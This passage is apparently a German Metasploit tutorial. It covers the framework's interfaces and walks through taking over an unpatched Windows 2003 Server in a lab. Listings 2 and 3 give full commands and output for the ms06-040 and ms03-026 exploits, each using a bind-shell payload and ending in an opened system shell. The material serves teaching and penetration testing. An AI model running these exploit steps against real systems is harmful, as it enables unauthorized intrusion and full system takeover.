Ausgehend vom Metasploit Verzeichnis unter „/pentest/exploits/framework3“ findet man alle weiteren Tools, Exploits und noch vieles mehr. Von hier aus lässt sich die Konsole ebenso starten wie die GUI, die in Abbildung 2 dargestellt ist, oder das Webinterface welches in Abbildung 3 abgebildet ist.
Das Webinterface startet seinen eigenen Webserver auf Port 55555 und ist mit jedem üblichen Browser aufrufbar. Aus Sicherheitsgründen wird dieses Webinterface in der Default Einstellung auf das lokale loopback Interface gebunden. Wie in Listing 1 dargestellt ist, kann eine Anpassung der genannten Optionen per CLI Parameter erfolgen.
Code:Listing 1: msfweb – Optionen m1k3@m1k3BT:/pentest/exploits/framework3$ ./msfweb -h Usage: msfweb <options> OPTIONS: -a <opt> Bind to this IP address instead of loopback -d Daemonize the web server -h Help banner -p <opt> Bind to this port instead of 55555 -s Automatically open the browser
Der Aufruf von „./msfcli“ zeigt alle vorhandenen Module an und kehrt anschließend wieder auf die Linux CLI zurück. Durch dieses Verhalten eignet sich die msfcli sehr gut zur weiteren Filterung und Bearbeitung beispielsweise mit grep oder anderen Linuxtools. Ein ähnliches Verhalten lässt sich unter Einsatz der msfconsole mit dem Kommando „show“ erzielen. Will man nun beispielsweise alle Exploits für Windows Betriebssysteme auflisten, lässt sich dies sehr einfach mit der in Abbildung 4 dargestellten Kommandozeile bewerkstelligen.
Eine weitere Filterung lässt sich durch ein zusätzliches „| grep SUCHBEGRIFF“ bewerkstelligen. In der msfconsole ist ein ähnliches Verhalten mit dem Kommando „search exploits smb“ möglich. Wurde ein passender Exploit gefunden, ist es möglich mit dem Kürzel „S“ für Summary weitere Informationen zu dem ausgewählten Exploit abzurufen. Mit dieser Option erhält man eine kurze Beschreibung des Exploits, Informationen zum Payload und zu den Systemen, für die der Exploit verwendet werden kann. Weitere Angaben sind der Autor des Exploits und die Optionen, die der Exploit für seine Ausführung benötigt. Letztere lassen sich auch mit der Option „O“ abrufen. In der msfconsole ist es möglich, diese Informationen mit „info EXPLOIT“ anzuzeigen.
Metasploit in der Anwendung
Als erstes Beispiel wird, wie in Abbildung 5 dargestellt, ein frisch installierter Windows 2003 Server ohne weitere Patches angegriffen und in weiterer Folge vollständig übernommen (geowned). In diesem Pentestingvorgang wird das System mit Nmap erkannt und auf weitere Dienste untersucht. Anschließend wird im Metasploit Framework ein passender Exploit gewählt und damit versucht, das System zu übernehmen. Bei dem gesamten Vorgang wird davon ausgegangen, dass sich das Zielsystem im selben Netzwerkbereich befindet und weder Härtungsvorgänge angewendet noch Updates eingespielt wurden.
Für uns als Angreifer sind in erster Linie die Exploits von Interesse, mit denen wir über das Netzwerk Zugriff auf das System erlangen. Exploits dieser Art werden im Normalfall als Remote Exploits bezeichnet. Hat man beispielsweise den Windows Exploit ms06_040_netapi ausgewählt, muss man die benötigten Optionen des anzugreifenden Hosts setzen und anschließend einen Payload auswählen. In dem dargestellten Beispiel wird eine typische Bind-Shell als Payload verwendet. Nach der Wahl des Payloads erhalten wir mit einem weiteren „O“ die Optionen des Payloads und sobald diese korrekt gesetzt sind können wir den Exploit mit einem „E“ zur Ausführung bringen. Metasploit wendet nun den gewählten Exploit an und führt bei erfolgreichem Exploitingvorgang den gewählten Payload aus. In dem in Listing 2 dargestellten Fall wird auf dem Zielsystem eine Systemshell auf Port 4444 gebunden auf die sich Metasploit direkt verbindet und wir somit ohne weitere Umwege Zugriff auf das Zielsystem erhalten.
In Listing 2 wird der vollständige Verlauf des beschriebenen Exploitingvorganges unter Verwendung der msfcli dargestellt.
Wird die msfconsole verwendet, ist es möglich auf die Autovervollständigung der Konsole zurückgreifen. In den Untermodus des Exploits wird mit „use EXPLOIT“ gewechselt. Mit „info“ können die bereits dargestellten Exploit Details abgerufen werden. Der Befehl „show options“ gibt die benötigten Optionen des Exploits preis, die beispielsweise mit der Eingabe „set RHOST ZIEL-IP“ gesetzt werden können. Nachdem mit „show payloads“ ein Payload gewählt wurde, kann der Exploit mit dem Befehl „exploit“ zur Anwendung gebracht werden.Code:Listing 2: Exploiting ms06-040 (Ausgabe verkürzt) 20:05:56 m1k3BT /pentest/exploits/framework3 [root]nmap -sSV 192.168.1.107 Interesting ports on 192.168.1.107: PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn 445/tcp open microsoft-ds Microsoft Windows 2003 microsoft-ds 1025/tcp open msrpc Microsoft Windows RPC 1026/tcp open msrpc Microsoft Windows RPC 20:08:19 m1k3BT /pentest/exploits/framework3 [root]./msfcli exploit/windows/smb/ms06_040_netapi RHOST=192.168.1.107 PAYLOAD=windows/shell/bind_tcp E [*] Please wait while we load the module tree...[*] Started bind handler[*] Detected a Windows 2003 SP0 target[*] Binding to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:192.168.1.107[\BROWSER] ...[*] Bound to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:192.168.1.107[\BROWSER] ...[*] Building the stub data...[*] Calling the vulnerable function...[*] Sending stage (474 bytes)[*] Command shell session 1 opened (192.168.1.106:42715 -> 192.168.1.107:4444) Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:\WINDOWS\system32>
Für den bereits dargestellten Windows 2003 Server gibt es einen weiteren funktionierenden Exploit der in Listing 3 vorgestellt wird.
Ein erfolgreicher Exploitingvorgang hängt von vielen unterschiedlichen Faktoren ab. Falls der dargestellte Exploitingvorgang nicht auf Anhieb erfolgreich ist sollten Sie erst den Patchlevel des Zielsystems prüfen. Idealerweise verwenden Sie ein frisch installiertes System und spielen auf diesem System keine Updates und keine weitere Software ein. Manche Exploits des Frameworks funktionieren stabiler als andere wodurch häufig ein Neustart des Zielsystems Abhilfe bei nicht funktionierenden Exploits schafft.Code:Listing 3: Exploiting ms03-026 (Ausgabe verkürzt) 20:30:58 m1k3BT /pentest/exploits/framework3 [root]./msfconsole msf > search ms03[*] Searching loaded modules for pattern 'ms03'... Exploits ======== Name Description ---- ----------- windows/browser/ms03_020_ie_objecttype MS03-020 Internet Explorer Object Type windows/dcerpc/ms03_026_dcom Microsoft RPC DCOM Interface Overflow windows/iis/ms03_007_ntdll_webdav Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow windows/isapi/fp30reg_chunked Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow windows/isapi/nsiislog_post Microsoft IIS ISAPI nsiislog.dll ISAPI POST Overflow windows/smb/ms03_049_netapi Microsoft Workstation Service NetAddAlternateComputerName Overflow msf > use exploit/windows/dcerpc/ms03_026_dcom msf exploit(ms03_026_dcom) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 135 yes The target port Exploit target: Id Name -- ---- 0 Windows NT SP3-6a/2000/XP/2003 Universal msf exploit(ms03_026_dcom) > set RHOST 192.168.1.107 RHOST => 192.168.1.107 msf exploit(ms03_026_dcom) > set PAYLOAD windows/shell/bind_tcp PAYLOAD => windows/shell/bind_tcp msf exploit(ms03_026_dcom) > exploit [*] Started bind handler[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.1.107[135] ...[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.1.107[135] ...[*] Sending exploit ...[*] The DCERPC service did not reply to our request[*] Sending stage (474 bytes)[*] Command shell session 1 opened (192.168.1.106:38947 -> 192.168.1.107:4444) Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:\WINDOWS\system32>








